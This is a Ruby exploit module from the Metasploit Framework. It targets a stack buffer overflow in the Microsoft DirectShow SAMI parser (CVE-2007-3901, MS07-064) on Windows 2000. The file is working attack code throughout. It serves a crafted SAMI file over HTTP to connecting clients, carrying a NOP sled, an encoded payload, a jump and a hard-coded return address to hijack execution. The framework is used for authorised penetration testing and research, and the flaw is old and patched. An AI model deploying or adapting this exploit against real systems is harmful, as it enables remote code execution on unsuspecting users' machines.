84 lines
2.5 KiB
Ruby
84 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the DirectShow Synchronized
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Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
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has only been tested with Windows Media Player (6.4.09.1129) and
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DirectX 8.0.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-3901' ],
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[ 'OSVDB', '39126' ],
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[ 'MSB', 'MS07-064' ],
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[ 'BID', '26789' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 11 2007',
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'DefaultTarget' => 0))
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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client.get_once
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buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
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buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)
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header = "HTTP/1.1 200 OK\r\n"
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header << "Content-Type: application/smil\r\n\r\n"
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body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"
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body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"
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body << "font-weight: normal;\rcolor: #FFFFFF;\r"
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body << "background: #FFFFFF;\rtext-align: center;\r"
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body << "padding-left: 2px;\rpadding-right: 2px;\r"
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body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"
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body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"
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body << "<SYNC Start=\"0\" pippo=\"" + buffer
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body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"
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sploit = header + body
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print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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